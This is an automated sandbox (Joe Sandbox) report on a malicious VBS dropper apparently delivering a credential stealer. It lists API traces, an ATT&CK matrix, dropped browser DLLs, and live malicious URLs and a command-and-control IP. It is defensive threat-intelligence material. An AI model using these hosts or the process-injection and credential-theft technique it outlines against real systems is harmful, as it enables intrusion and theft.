Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC7EF13 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,sqlite3_bind_int64,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,sqlite3_bind_int64,sqlite3_step,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_bind_int,sqlite3_column_int,sqlite3_bind_int,sqlite3_column_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_reset,	5_2_6CC7EF13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC78954 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	5_2_6CC78954
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC804F3 sqlite3_bind_int64,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,sqlite3_bind_int64,sqlite3_step,sqlite3_column_type,sqlite3_reset,	5_2_6CC804F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCC6464 PR_Bind,	5_2_6CCC6464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC80588 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	5_2_6CC80588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC7C7C5 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	5_2_6CC7C7C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCC67ED PR_Listen,	5_2_6CCC67ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC7C0AA sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	5_2_6CC7C0AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC821F1 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_mprintf,sqlite3_free,sqlite3_step,sqlite3_reset,	5_2_6CC821F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC7C103 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_free,sqlite3_free,memcpy,memcpy,memcpy,sqlite3_free,sqlite3_free,sqlite3_reset,sqlite3_reset,	5_2_6CC7C103
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC822C4 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	5_2_6CC822C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC662EB sqlite3_value_text,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,	5_2_6CC662EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC8231A sqlite3_bind_null,sqlite3_step,sqlite3_reset,	5_2_6CC8231A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC7BDCA sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,	5_2_6CC7BDCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC9BDE9 sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_column_int,sqlite3_reset,__allrem,__allrem,memset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_free,sqlite3_free,	5_2_6CC9BDE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC81D03 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_column_int64,sqlite3_reset,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,	5_2_6CC81D03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC7BEC2 memset,sqlite3_malloc,memset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_reset,	5_2_6CC7BEC2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	2 Native API	221 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	3 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	22 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Endpoint Denial of Service
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Access Token Manipulation	3 Obfuscated Files or Information	21 Input Capture	1 System Service Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	1 Create Account	1 Windows Service	1 Software Packing	1 Credentials In Files	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Windows Service	322 Process Injection	1 DLL Side-Loading	NTDS	26 System Information Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	322 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Users	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
89SkYNNpdi.vbs	5%	ReversingLabs	Win32.Trojan.Generic
89SkYNNpdi.vbs	11%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\freebl3.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mozglue.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\msvcp140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss3.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\softokn3.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\vcruntime140.dll	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ia600100.us.archive.org	0%	Virustotal		Browse
pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	16%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev/onye.txt	17%	Virustotal		Browse
https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	4%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://ia600100.us	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtYSD;dk7base64Content	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	10%	Virustotal		Browse
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	Virustotal		Browse
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	Virustotal		Browse
http://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	16%	Virustotal		Browse
https://github.com/syohex/java-simple-mine-sweeper	0%	Virustotal		Browse
https://github.com/syohex/java-simple-mine-sweeperC:	0%	Virustotal		Browse
https://ia600100.us.archive.org	1%	Virustotal		Browse
http://ia600100.us.archive.org	0%	Virustotal		Browse
109.248.151.156	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600100.us.archive.org	207.241.227.240	true	false	0%, Virustotal, Browse	unknown
pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	162.159.140.237	true	true	16%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev/onye.txt	true	17%, Virustotal, Browse	unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	10%, Virustotal, Browse	unknown
109.248.151.156	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1399989665.000001B2A447C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000004.00000002.1399989665.000001B2A4290000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.5.dr	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.thawte.com0	AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us	powershell.exe, 00000004.00000002.1399307336.000001B2A0BB0000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	powershell.exe, 00000004.00000002.1399989665.000001B2A2F57000.00000004.00000800.00020000.00000000.sdmp	true	4%, Virustotal, Browse	unknown
http://www.mozilla.com0	AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	false		unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.arX	powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore6	powershell.exe, 00000002.00000002.1453682043.0000018D59FDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtYSD;dk7base64Content	powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtYSD;$base64Content	powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/syohex/java-simple-mine-sweeper	AddInProcess32.exe	false	0%, Virustotal, Browse	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1399989665.000001B2A447C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	powershell.exe, 00000004.00000002.1399989665.000001B2A3135000.00000004.00000800.00020000.00000000.sdmp	true	16%, Virustotal, Browse	unknown
https://oneget.orgX	powershell.exe, 00000004.00000002.1399989665.000001B2A4290000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1399989665.000001B2A3B9C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1399989665.000001B2A2D42000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1453682043.0000018D5A044000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1399989665.000001B2A2B21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/syohex/java-simple-mine-sweeperC:	powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1453682043.0000018D5A059000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1399989665.000001B2A2B21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.org	powershell.exe, 00000004.00000002.1399989665.000001B2A4290000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1399989665.000001B2A4249000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.140.237	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	United States	13335	CLOUDFLARENETUS	true
207.241.227.240	ia600100.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
109.248.151.156	unknown	Russian Federation	52048	DATACLUBLV	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523823
Start date and time:	2024-10-02 05:22:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	89SkYNNpdi.vbs renamed because original name is a hash value
Original Sample Name:	3ca2d0a1abba4f885e740032d2314993fac09ffffe14a4c6a89aacf65684e45b.vbs
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winVBS@8/15@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 97% Number of executed functions: 130 Number of non-executed functions: 299
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1352 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7816 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:23:10	API Interceptor	45x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.140.237	http://pub-0ae50a4c573c409f93585499aeac650f.r2.dev/cvbnmkjh.html	Get hash	malicious	HTMLPhisher	Browse	pub-0ae50a4c573c409f93585499aeac650f.r2.dev/cvbnmkjh.html
	http://pub-7c9ee239002440a79f4b2c5934b13627.r2.dev/higher.html	Get hash	malicious	HTMLPhisher	Browse	pub-7c9ee239002440a79f4b2c5934b13627.r2.dev/higher.html
	http://pub-ca8a3ace07094ee9967971c12a96a935.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-ca8a3ace07094ee9967971c12a96a935.r2.dev/index.html
	http://pub-6f594b43277e4071a0c14266387a1ea8.r2.dev/fdsaghjk.html	Get hash	malicious	HTMLPhisher	Browse	pub-6f594b43277e4071a0c14266387a1ea8.r2.dev/fdsaghjk.html
	http://pub-d2dba8f127424f0cb0341658081256fa.r2.dev/kjhdishs.html	Get hash	malicious	HTMLPhisher	Browse	pub-d2dba8f127424f0cb0341658081256fa.r2.dev/kjhdishs.html
	http://pub-64fd1e2750a4440ab4fe49fc5a421a35.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-64fd1e2750a4440ab4fe49fc5a421a35.r2.dev/index.html
	http://pub-72f4175190054b068a6db1f116f55ca9.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-72f4175190054b068a6db1f116f55ca9.r2.dev/index.html
	http://pub-9a2fba40e7084a1eb9d96885ba6cecf2.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-9a2fba40e7084a1eb9d96885ba6cecf2.r2.dev/index.html
	http://pub-a5dea08759934238bd2363b86fdeed1a.r2.dev/makinsalin.html	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	pub-a5dea08759934238bd2363b86fdeed1a.r2.dev/makinsalin.html
	http://pub-783fdf92836240fa96dda87e23c5c881.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-783fdf92836240fa96dda87e23c5c881.r2.dev/index.html
207.241.227.240	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse
109.248.151.156	17265837652d55c0f124ae83612d8bd5caa1d7f12d178ec09d2162f830ec997362a0f3d454121.dat-decoded.exe	Get hash	malicious	AveMaria, PrivateLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.159.140.237
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.66.0.235
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	172.66.0.235
	Company profile.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	162.159.140.237
	Quote_Request.js	Get hash	malicious	PureLog Stealer	Browse	172.66.0.235
	Enquiry.js	Get hash	malicious	PureLog Stealer	Browse	172.66.0.235
	Purchase Order.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	162.159.140.237
	RFQ.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	162.159.140.237
	HONG_KONG_CHEMHERE_QUOTE_REQUEST.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	104.18.3.35
	Data-Sheet.js	Get hash	malicious	Unknown	Browse	104.18.3.35
ia600100.us.archive.org	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.184.196
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.96.3
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.159.140.237
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.66.0.235
	http://lamourskinclinic.com.au	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://unpaidrefund.top/view/mygov	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	payment copy.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://docs.google.com/presentation/d/e/2PACX-1vRuKBrQqA6BNfxZo0BAmhaaVHWHS5xGpGnvHJ3KKWtc6LdsEuOoWSlBNaOKZjp5GXLjhWJKRMb-grou/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.21.46.216
